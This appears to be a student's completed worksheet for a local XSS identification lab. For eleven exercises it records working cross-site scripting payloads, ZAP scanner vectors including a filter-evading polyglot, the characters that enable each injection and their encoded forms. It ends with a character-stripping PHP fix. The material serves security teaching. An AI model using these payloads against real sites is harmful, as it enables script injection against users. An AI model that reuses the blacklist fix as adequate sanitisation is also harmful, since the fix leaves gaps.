**XSS Identification Lab**

Name: Jack Foley C00274246

Open XAMPP and start the Apache web server.

Place the files contained in the folder: “Lab/XSS” on blackboard in the folder “C:\xampp\htdocs” on your local machine.

Each file has an input parameter that is vulnerable to XSS. Please perform the following actions for each lab exercise.

1. Manually test the application to determine the existence of XSS
2. Perform a vulnerability scan using the Zap Proxy tool.

**Lab 1**

* **Manual attack vector**

<script>alert(‘Hello world!’);</script>

* **Vulnerability scan, attack vector**

</div><scrIpt>alert(1);</scRipt><div>

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > ;

/ ( )

* **What is the sanatised representation of the character**

< = &lt; > = &gt; ) = &#41;

/ = &#47; ( = &#40; ; = &#59;

**Lab 2**

* **Manual attack vector**

<scri<script>pt>alert(123);</sc</script>ript>

* **Vulnerability scan, attack vector**

</div><img src=x onerror=prompt()><div>

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > ;

/ ( )

* **What is the sanatised representation of the character**

< = &lt; > = &gt; ) = &#41;

/ = &#47; ( = &#40; ; = &#59;

**Lab 3**

* **Manual attack vector**

XSS not possible

* **Vulnerability scan, attack vector**

XSS not possible

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

* **What is the sanatised representation of the character**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**Lab 4**

* **Manual attack vector**

<svg onload=alert(1)

* **Vulnerability scan, attack vector**

None found

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< ( )

* **What is the sanatised representation of the character**

< = &lt; ( = &#40; ) = &#41;

**Lab 5**

* **Manual attack vector**

<svg onload=prompt()

* **Vulnerability scan, attack vector**

None found

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< ( )

* **What is the sanatised representation of the character**

< = &lt; ( = &#40; ) = &#41;

**Lab 6**

* **Manual attack vector**

<script>alert(1)</script>

* **Vulnerability scan, attack vector**

</div><scrIpt>alert(1);</scRipt><div>

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > / ; ( )

* **What is the sanatised representation of the character**

< = &lt; > = &gt; ) = &#41;

/ = &#47; ( = &#40; ; = &#59;

**Lab 7**

* **Manual attack vector**

x=1#<script>prompt();</script>

* **Vulnerability scan, attack vector**

#jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/oNcliCk=alert(5397) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< >

* **What is the sanatised representation of the character**

< = &lt; > = &gt;

**Lab 8**

* **Manual attack vector**

"> <script>prompt()</script>

* **Vulnerability scan, attack vector**

"><scrIpt>alert(1);</scRipt>

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

> < /

* **What is the sanatised representation of the character**

< = &lt; > = &gt;

/ = &#47;

**Lab 9**

* **Manual attack vector**

</script><script>prompt();</script><script>

* **Vulnerability scan, attack vector**

</script><scrIpt>alert(1);</scRipt><script>

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > /

* **What is the sanatised representation of the character**

< = &lt; > = &gt;

/ = &#47;

**Lab 10**

* **Manual attack vector**

</body><button onpointermove="alert(1)">

* **Vulnerability scan, attack vector**

None found

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > /

* **What is the sanatised representation of the character**

< = &lt; > = &gt;

/ = &#47;

**Lab 11**

* **Manual attack vector**

<button onpointermove="alert(1)">

* **Vulnerability scan, attack vector**

None found

* **Identification of Dangerous Character/Character’s allowing for XSS exploitation.**

< > /

* **What is the sanatised representation of the character**

< = &lt; > = &gt;

/ = &#47;

Code Fix

function RemoveXSS($val)

{

$bad = array("<", ">", "\"", "'", "(", ")", "{", "}");

foreach ($bad as $i) {

$val = str\_replace($i, "", $val);

}

return $val;

}